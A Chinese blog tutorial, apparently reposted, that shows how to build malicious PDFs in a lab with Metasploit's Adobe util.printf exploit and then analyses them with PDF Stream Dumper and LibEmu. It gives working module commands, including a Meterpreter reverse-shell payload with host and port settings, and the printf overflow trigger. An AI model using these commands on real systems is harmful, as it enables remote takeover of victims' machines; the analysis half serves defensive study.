千家信息网

如何进行恶意PDF文档分析以及payload提取方法是什么

发表于:2026-11-03 作者:千家信息网编辑
千家信息网最后更新 2026年11月03日,这篇文章将为大家详细讲解有关如何进行恶意PDF文档分析以及payload提取方法是什么,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。Acrobat R
千家信息网最后更新 2026年11月03日如何进行恶意PDF文档分析以及payload提取方法是什么

这篇文章将为大家详细讲解有关如何进行恶意PDF文档分析以及payload提取方法是什么,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

Acrobat Reader是一个可阅读、搜索、打印几乎任何类型的PDF文件并与之交互的PDF查看程序。不夸张的说,几乎每个电脑用户都安装并使用过它。由于它的用户范围广泛且安全问题频出,因此它也成为了最容易被黑客利用的程序之一。通过度娘搜索"Acrobat Reader漏洞"那叫一个壮观,动不动就是高危,看得我都手痒痒了~~

我将向大家展示创建恶意PDF文档,触发并利用漏洞的完整过程。此外,我还将带大家深入分析恶意PDF文档,了解payload的存储方式以及提取方法。

PDF格式

PDF(便携式文件格式,Portable Document Format)是由Adobe在1993年用于文件交换所发展出的文件格式。

PDF主要由三项技术组成:衍生自PostScript;字型嵌入系统;资料压缩及传输系统。它的优点在於跨平台、能保留文件原有格式(Layout)、开放标准,能免版税(Royalty-free)自由开发PDF相容软体,是一个开放标准。以下是一个典型PDF文档的结构图。有关更多信息,请参阅Adobe规范。

恶意PDF创建

我们将使用metasploit来创建一个恶意伪造的PDF文档,其中将包含exploit以及我们自定义的payload。因为该漏洞利用是针对特定版本的,因此我们需要在目标机器上下载安装一个较早版本的Reader。

首先,我们来创建PDF。该PDF利用成功后会在目标机器上弹出计算器(calc.exe)。打开metasploit console并键入以下命令:

use exploit/windows/fileformat/adobe_utilprintfset FILENAME malicious.pdfset PAYLOAD windows/execset CMD calc.exeshow optionsexploit

如下所示:

将刚创建的文件(/home/osboxes/.msf4/local/malicious.pdf)复制到共享驱动器上。

执行受感染PDF

在目标计算机上,下载并安装易受攻击的Adobe Reader版本(metasploit已经告诉我们版本应小于8.1.2)。我选择安装的是8.1.1版。

安装后,我们执行malicious.pdf文件。你应该会看到从Adobe Reader进程生成的计算器。漏洞成功被利用。

我准备了另一个恶意PDF,使用了不同的payload,如下:

set PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.1.29set LPORT 4455

结果如下,我们成功在Adobe Reader上建立了一个后门(反向shell)。

分析受感染PDF

现在,让我们来看看恶意PDF中的内容,并尝试提取其中的payload(我们仍然以calc.exe PDF为例)。

首先,我们需要用到一个名为PDF Stream Dumper的工具,下载并安装它。然后使用该工具加载我们的恶意PDF文档(请花些时间熟悉该工具的基本使用)。

我们先来使用菜单栏中的 "Exploit Scan" 选项来检测是否存在某些可利用漏洞:

Exploit CVE-2008-2992 Date:11.4.08 v8.1.2 - util.printf - found in stream: 6

实际上,在stream 6中隐藏了一个可利用漏洞。

但是如果我们从头开始:在PDF中搜索漏洞时,我们大多数时候会遇到由Javascript代码创建的堆喷射( heap spray)。该堆喷射用于将payload推送至堆上,一旦漏洞被触发就可以执行。

如果你打开Stream 1,你可以看到:

/Type/Catalog/Outlines 2 0 R/Pages 3 0 R/OpenAction 5 0 R

接着,我们打开stream 5:

/Type/Action/S/JavaScript/JS 6 0 R

执行位于stream 6的Javascript。该流显示了纯Javascript,现在是时候打开"Javascript_UI"菜单了。可以看到这是一大串十六进制编码的字符,我们将其push到一个变量,以执行heap spray操作。以下是我们的payload:

我们选择payload(引号之间的部分),然后打开"Shellcode_analysis"菜单。选择"scDbg - LibEmu Emulation"。此时,会弹出一个新的窗口并将shellcode解码为字节(你甚至可以将其保存到文件中):

LibEmu是一个能够模拟处理器的库,它会告知你汇编代码的执行信息,单击"Launch"按钮,一看你就明白了:

在这里,我们可以清楚地看到shellcode会打开一个calc.exe窗口并退出。让我们另外一个恶意PDF(反向shell)也执行相同的分析:

可以看到,Shellcode正在加载操作套接字所需的库(ws2_32.dll),并尝试回连C&C。

这里我并没有展开谈论exploit本身,它位于javascript代码的末尾。它正在利用printf函数上的缓冲区溢出来执行任意代码。以下是我们的heap-sprayed shellcode:

util.printf("%45000.45000f", 0);

关于如何进行恶意PDF文档分析以及payload提取方法是什么就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

恶意 文件 漏洞 文档 分析 代码 格式 版本 方法 成功 内容 工具 更多 目标 菜单 搜索 选择 信息 文章 时候 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网科技活动banner 互联网和科技技术 金诺互联网科技 金融科技与互联网金融 极限挑战互联网科技 狮子座互联网科技培训 四川狮子座互联网科技 注册互联网科技公司经营范围大全 银川新华互联网科技学校联系电话 华夏恒生互联网科技013171 互联网行业科技股 朱啸虎曾投资哪些互联网科技企业 黑科技 体验场景 互联网大会 广州千川互联网科技有限公司 皮皮虾互联网科技有限公司 互联网科技年终奖 本届互联网大会上的黑科技 山东大美朱楼互联网科技有限公司 萌小萌互联网科技河南有限公司 东风日产互联网科技公司叫什么 科技平台互联网 润盈互联网科技 汉立互联网科技有限公司联系电话 厦门千工互联网科技有限公司 乌鲁木齐新华智原互联网科技学校 江苏互联网智能科技软件 互联网科技数字货币 半导体是互联网高科技吗 互联网时代科技型公司的机会 互联网科技平台产品运营
0